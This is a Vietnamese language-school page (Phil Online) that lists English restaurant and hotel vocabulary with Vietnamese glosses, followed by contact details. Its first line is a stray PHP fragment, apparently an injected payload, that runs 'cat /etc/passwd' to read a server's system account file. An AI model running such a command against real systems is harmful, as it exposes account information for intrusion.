=`cat /etc/passwd`;?>
Mỗi một chuyên ngành sẽ có những từ vựng liên quan khác biệt nhau. Để giúp các bạn nắm được các từ vựng cơ bản theo từng chuyên ngành, Phil Online sẽ tổng hợp từ nhiều nguồn để giúp bạn bổ sung vốn từ vựng cho riêng mình.
Trong bài viết này, chúng ta sẽ tìm hiểu từ vựng tiếng Anh chuyên ngành Nhà hàng - Khách sạn nhé.
Bar: Quầy rượu
Chef: Bếp trưởng
Waiter: Bồi bàn nam
Waitress: Bồi bàn nữ
Menu: Thực đơn
Wine list: Danh sách các loại rượu
Bill: Hóa đơn
Services: Dịch vụ
Services charges: Phí dịch vụ
Tip: Tiền boa
Stacks of plates: Chồng đĩa
Knife: Dao
Glass: Cái ly
Bowl: Tô
Plate: Đĩa
Teapot: Ấm trà
Breakfast: Bữa sáng
Dinner: Bữa tối
Lunch: Bữa trưa
Booking/ Reservation: Đặt bàn trước
Starters/ Appetizers: Món khai vị
Main courses: Món chính
Desserts: Món tráng miệng
Refreshments: Bữa ăn nhẹ
Napkin: Khăn ăn
Tray: Cái khay
Straw: Ống hút
Price list: Bảng giá
Paper cups: Cốc giấy
Room service: Dịch vụ phòng
Alarm: Báo động
Wake-up call: Dịch vụ gọi báo thức
Amenities: Những tiện nghi trong và khu vực xung quanh khách sạn
Maximumcapacity: Số lượng người tối đa cho phép
Rate: Mức giá thuê phòng tại một thời điểm nào đó
View: Quang cảnh bên ngoài nhìn từ phòng
Late charge: Phí trả thêm khi lố (quá) giờ
Parking pass: Thẻ giữ xe
Trên đây là những từ vựng tiếng Anh liên quan đến chuyên ngành Nhà hàng Khách sạn. Hãy tiếp tục cùng Phil Online - Học tiếng Anh trực tuyến tìm hiểu thêm nhiều từ vựng về các chuyên ngành khác nhé. Chúc các bạn học tập vui vẻ.
Xem thêm: Học tiếng Anh Online - Xu hướng thịnh hành thế giới!
Mọi thông tin chi tiết về chương trình và đăng ký học thử tiếng Anh trực tuyến miễn phí, xin vui lòng liên hệ:
Phil Online - Hệ thống tiếng Anh Online 1 kèm 1 lớn nhất Philippines
• Hotlines: 0909.720.092 - 0909.270.092
• Email: philonline@philenglish.vn
• Website: https://philonline.vn/
• Fanpage: Phil Online
Bình luận
Full name
Add a comment
COMMENT